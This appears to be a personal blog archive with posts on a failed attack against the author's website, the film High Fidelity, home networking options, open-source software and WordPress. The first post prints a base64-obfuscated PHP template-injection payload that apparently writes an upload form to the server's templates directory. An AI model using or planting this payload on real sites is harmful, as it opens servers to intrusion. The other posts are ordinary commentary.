Computer

When they hacked my website

So….The other day someone tried to hack one of my websites – not this one, another one – which shall remain nameless in case it is seen as some kind of challenge(!). As it happens I’m up on these things, particularly on the website in question so my installation was very secure – I had followed all the necessary security measures and the hacking attempt was unsuccessful. So what did they do?

Well actually, they raised a support ticket with a PHP injection script. What’s one of those? It’s one of these:

 {php#}eval(base64_decode('JGMzbyA9IGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ21WamFHOGdKenhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpSUdWdVkzUjVjR1U5SW0xMWJIUnBjR0Z5ZEM5bWIzSnRMV1JoZEdFaUlHNWhiV1U5SW5Wd2JHOWhaR1Z5SWlCcFpEMGlkWEJzYjJGa1pYSWlQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYm1GdFpUMGlabWxzWlNJZ2MybDZaVDBpTlRBaVBqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKemRXSnRhWFFpSUdsa1BTSmZkWEJzSWlCMllXeDFaVDBpVlhCc2IyRmtJajQ4TDJadmNtMCtKenNOQ21sbUtDQWtYMUJQVTFSYkoxOTFjR3duWFNBOVBTQWlWWEJzYjJGa0lpQXBJSHNOQ2dscFppaEFZMjl3ZVNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwc0lDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1NrZ2V5QmxZMmh2SUNjOFlqNVZjR3h2WVdRZ1UxVkxVMFZUSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUgwTkNnbGxiSE5sSUhzZ1pXTm9ieUFuUEdJK1ZYQnNiMkZrSUVkQlIwRk1JQ0VoSVR3dllqNDhZbkkrUEdKeVBpYzdJSDBOQ24wTkNqOCsiKTsNCiRyZWQgPSBmb3BlbigidGVtcGxhdGVzX2MvcmVkLnBocCIsInciKTsNCmZ3cml0ZSgkcmVkLCRjM28pOw=='));{/php#} 
High Fidelity

High Fidelity – 2011 – The Digital Rebellion

 

High Fidelity. 

 

Great Movie.

 
But even more importantly many of us could identify directly with the characters in the movie.
 
I have a friend who is a hybrid between Jack Black's character ("Barry") and John Cusack's ("Rob"). He works in a very well known independent record store and has done for many years; Through my formative years he has shaped my musical tastes in many ways by religiously producing excellent mix tapes which formed the majority of my vehicular audio accompaniments at university….
 
 
 
Happy days…..
 
But Tapes are gone now…..and so is Vinyl……CD's will be next. So I have decided to solve the conundrum faced by Rob and Dick about organising your record collection. Chronological? Alphabetical?
 
Autobiographical?
 
None of the above. CD's are dead, baby – its all about lossless FLACs these days.

To WiFi or not to WiFi, that is the question

OK, I’m torn.

 Having put up with a silly little Cat5 lead running out of my lounge into the study for 3 years I have decided to do something about it.

Options:

1) Drill a hole through two walls, and run the cable around the wall with cable conduit. (£10)

For: FASTEST and most reliable. Cheap option – about 10 quid for conduit and bits and bobs.

Against: pain in the neck and uber-ugly.

Real World Speed: Approx 75Mbit in my own tests.

2) Go WiFi (£30)

For: EASY. Little to do. Change router, plug in and go.

Against: Change IP Router to WiFi router and open up the network to hacking from outside the building. Possibly quite slow, contention issues. Possible “Brain Cookage” from radio waves. Everyone and their dog can download WEP/WPA hacking tools and punch in from outside, using my web access.

Real World Speed: 20 to 30Mbit if I’m lucky and enable the security.

3) Powerline 200Mbps (£90)

For: EASY. Plug in devices each end and go.

Against: Unsure of result – quality of electrical installation and devices attached have enormous impact on transfer speeds. Security is onyl as secure as anything else until it gets hacked.

Real World Speed: 30 to 40Mbit with security enabled.

I’m not going for number 2 beause it is insecure and also my net connection might drop out or die at inopportune moments.

Leaving 1 or 3. I better ask maria.

OK Asked Maria and she would prefer me not drilling holes everywhere, meaning I need to save up for option 3.  Have to wait until after the wedding though I guess.

To bother…or not?

opensource_logo.gifI set up a website some months ago, rather similiar to this, which you can see here: www.openalchemy.com

Its all about open source – the way forward for computer software; The ultimate in re-using the perfectly good wheel, the best way to create perfect software….surely?

Not always. Humans, unfortunately are generally in need of something very important to guide their paths. Management.

We all need it, some of us can do it, some of us think they can do without it; There are a number of open source projects which I would consider exemplary examples: OpenOffice being one of them. As well integrated as M$ Office, but totally free; If I wasn’t already so irrevocably entwined with the Microsoft products at work, I would be using it myself. It was clearly a well managed project.

But the there is the Gimp. Its an open source alternative to Photoshop, and its incredibly powerful. It also has the most appallingly variant user interface I have seen. Ever. Every single window looks slightly different, each function appears and curiously, functions in a different manner; The windows appear to be untethered to the main program window, almost as if they don’t need gimp, they just use it for their own satisfaction.

Using it is like wrestling three monkeys having a poo fight – it just gets messy.

Then there is Paint.NET – not strictly open source, but freeware all the same, and it clearly had a managed team (or there was only one or two people), which dictated that the interface should follow Adobe Photoshop’s good example. As a result, the software feels solid, feels robust, and feels familiar. It is nowhere near as powerful as photoshop, but I would use it in a moment over the GIMP.

But the real point of my post – does anyone care? I am an advocate of open source, and yet I use photoshop. I use Microsoft Office. I use Adobe reader, and a wealth of other softwares with open source alternatives. Is it because I am scared?

Yes. Iam concerned that using an open source software is a lesser alternative which it generally is – not always, but often. The best programmers only code for money, just like anyone else who excels in their given field.

Should I continue to lie to the general public about my open source affiliations? No.

Should I use my little website to come clean?………..

No – it won’t help the scene. Perhaps I should just continue my merry way through the world, adding my thoughts here and there – the trouble is, I am finding myself using more and more proprietary commercial software. What validity will my posts have these days?

I will strive to deliver more reviews in the future…I will certainly try.

The Wonder of WordPress

web.jpgI have been “trained” in the design of websites via HTML based coding at university, and considerable experience both personally and commercially. Unfortunately none of the websites I have done are still up on the net (DS Electrical, Pigs Can Fly, and many more…) for various reasons (some of the businesses are dissolved, some of the sites have been thoroughly revamped in the face of the new virus)….

Virus? I mean, of course, Content Management Systems.

What this means to you or me, is a visual display “theme” or “skin”, which is used to format what is essentially a bunch of texts, with varying tags applied to them. It sounds so simple, and it is. Varying from the advanced solutions (such as Joomla!, the most complicated, but most flexible beast available at the time of writing), to the simplest – a basic blog such as this you see before you.

This means my HTML experience and training has become useless. Really. Everything I did before is done differently now. (You can see my old homepage for digital vinyl here: but you’ll need to enable the archaic javascript to see it in full glory). This is very often the case with technology, and I am really not interested in doing any more professional websites – even though I have already taken the bull by the horns and learned and confwordpresspic.pngigured no less than 3 CMS systems already.

The reason is that while updating them is really easy, designing the skins is NOT. Don’t let anyone tell you it is – they are very very geeky. But anyway – the reason for my post is because I have found the solution for me, and very likely, for you:

WordPress

It’s quick and dirty, and filthy, and there are a million easy to apply and use plugins and themes already available which are really quite something. Have a try at dragging the widgets to the right of this text around like windows, and dropping them to reorder them. You’ll see what I mean. Program that with Dreamweaver – I dare you! The secret, of course, is that I didn’t do any of this fine work, and neither did the author of the theme I am using! The new disease is here, and it will not let you do the same work as countless other people have already done! It’s called Open Source, and it means we need no longer re-invent the wheel.

The theme I am using utilised an open source window routine for the widgets; This in turn allowed the author of my theme to concentrate on making the theme look like MacOs really well, and polish the overall finish of the theme instead of getting bogged down with technical fiddlery! In turn, I was then able ot concentrate on populating my site with good content instead of fiddling for months on the graphical design and function, and leaving scant detail and content for people to actually read.

No doubt you’ll agree that two (or three, or fifty) heads are most definitely better than one.